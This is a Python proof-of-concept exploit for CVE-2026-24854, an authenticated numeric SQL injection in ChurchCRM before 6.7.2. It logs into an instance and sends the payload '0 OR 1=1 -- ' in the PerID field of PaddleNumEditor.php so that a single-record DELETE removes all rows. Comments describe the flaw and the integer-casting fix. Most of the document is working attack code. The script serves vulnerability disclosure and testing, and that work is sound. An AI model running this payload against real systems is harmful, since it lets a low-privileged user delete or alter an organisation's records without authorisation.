#!/usr/bin/env python3 # Exploit Title: ChurchCRM < 6.7.2 - Authenticated Numeric SQL Injection (Logic Manipulation) # CVE: CVE-2026-24854 # Date: 2026-02-03 # Exploit Author: Mohammed Idrees Banyamer # Author Handle: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Vendor Homepage: https://churchcrm.io # Software Link: https://github.com/ChurchCRM/CRM # Version: < 6.7.2 (fixed in 6.7.2 via commit 748f5084) # Tested on: ChurchCRM 6.7.1 (PHP 8.1, MySQL 8.0) # Category: Web Application / SQL Injection # Platform: PHP / MySQL # Exploit Type: Authenticated, Numeric SQL Injection (Logic Manipulation) # Requirement: requests (`pip install requests`) # # Description: # An authenticated numeric SQL injection vulnerability exists in ChurchCRM versions # prior to 6.7.2 within src/PaddleNumEditor.php. The 'PerID' POST parameter # is concatenated directly into multiple SQL queries without proper type # casting or sanitization, enabling manipulation of query logic in numeric contexts. # # This allows low-privileged authenticated users to alter SQL logic, potentially # leading to unauthorized updates, inserts, or deletes (e.g., turning a single-record # DELETE into a multi-record or full-table operation by bypassing WHERE clauses). # # The vulnerability is not primarily for blind data extraction but for logic bypass # in numeric fields. It was fixed in commit 748f5084 by applying (int) casting to # PerID, Num, and related identifiers, forcing non-numeric input to 0 and preventing # injection. # # # Usage Example: # 1. Update TARGET_BASE, USERNAME, PASSWORD below # 2. Capture a real POST request to /PaddleNumEditor.php (Burp / DevTools) # 3. Paste ALL form fields into the post_data dict # 4. Tune the is_success_response() function based on observed normal vs manipulated responses # 5. python3 churchcrm_cve-2026-24854_poc.py import requests import sys # ================================================ # POC for CVE-2026-24854 - Numeric SQL Injection (Logic Manipulation) # Demonstrates query logic bypass without time-based or blind extraction # ================================================ # === CONFIG === TARGET_BASE = "http://localhost/churchcrm" # YOUR LOCAL TEST INSTANCE ONLY! USERNAME = "admin" # Any valid user PASSWORD = "yourpassword" LOGIN_URL = f"{TARGET_BASE}/Login.php" EDITOR_URL = f"{TARGET_BASE}/PaddleNumEditor.php" session = requests.Session() session.headers.update({"User-Agent": "Mozilla/5.0 (Research POC)"}) # === CUSTOM DETECTOR: Define how to detect successful logic manipulation === # Customize based on real responses (e.g., success message for single vs multiple affects) def is_success_response(resp): """ Customize this based on your test environment: - Normal request: affects one record (e.g., "updated" message) - Manipulated: affects multiple/all (e.g., unexpected success or error diff) For demo, assume success if status 200 and certain keyword """ if resp.status_code != 200: return False body_lower = resp.text.lower() # Example: Change to match your instance's response for successful manipulation if "success" in body_lower or "updated" in body_lower: return True return False def send_injection(perid_value): # === CRITICAL: Copy ALL real POST fields from Burp/F12 Network tab === # Do a legitimate request first, copy Form Data, then override PerID only # Ensure the request triggers a DELETE/UPDATE/INSERT (e.g., set MBItem count to 0 for DELETE) post_data = { "PerID": perid_value, "Num": "100", # Change to real "fr_ID": "1", # Current fundraiser ID - MUST be valid "PaddleNumSubmit": "Save", # Or "PaddleNumSubmitAndAdd" "PaddleNumID": "", # Empty for new # For DELETE demo: Set a multibuy item to 0 (triggers DELETE query) "MBItem1": "0", # Assume di_ID=1, set count=0 to trigger DELETE # ... ALL other fields from real request } try: resp = session.post(EDITOR_URL, data=post_data, timeout=10) return resp except Exception as e: print(f"Request error: {e}") return None # === Login === def login(): print("[*] Logging in...") data = {"User": USERNAME, "Password": PASSWORD} r = session.post(LOGIN_URL, data=data, allow_redirects=True) if "Dashboard" in r.text or r.url.endswith("Dashboard.php"): print("[+] Login OK") return True print("[-] Login failed") return False if __name__ == "__main__": if not login(): sys.exit(1) print("\n=== CVE-2026-24854 Numeric SQLi Logic Manipulation PoC ===\n") # Test normal request (affects single record) print("Step 1: Normal request (PerID=1) - should affect only one record") resp_normal = send_injection("1") if resp_normal: print(f" Status: {resp_normal.status_code} | Body length: {len(resp_normal.text)}") if is_success_response(resp_normal): print(" → Normal success (single affect)") # Manipulated payload: Logic bypass to affect all records # Example for DELETE: '0 OR 1=1 -- ' makes WHERE mb_per_ID=0 OR 1=1 -- AND ... (comments out AND) manipulation_payload = "0 OR 1=1 -- " print(f"\nStep 2: Manipulated request (PerID={manipulation_payload}) - should affect ALL records") resp_manip = send_injection(manipulation_payload) if resp_manip: print(f" Status: {resp_manip.status_code} | Body length: {len(resp_manip.text)}") if is_success_response(resp_manip): print(" → Manipulation success (multi/all affect detected)") else: print(" → Check response diff - tune detector if needed") print("\nPoC complete. For research paper:") print("- Verify in DB: Check multibuy_mb table before/after for deleted rows") print("- Note: Works on vulnerable <6.7.2; fixed by (int) casting") print("- Recommend: Use prepared statements for full protection")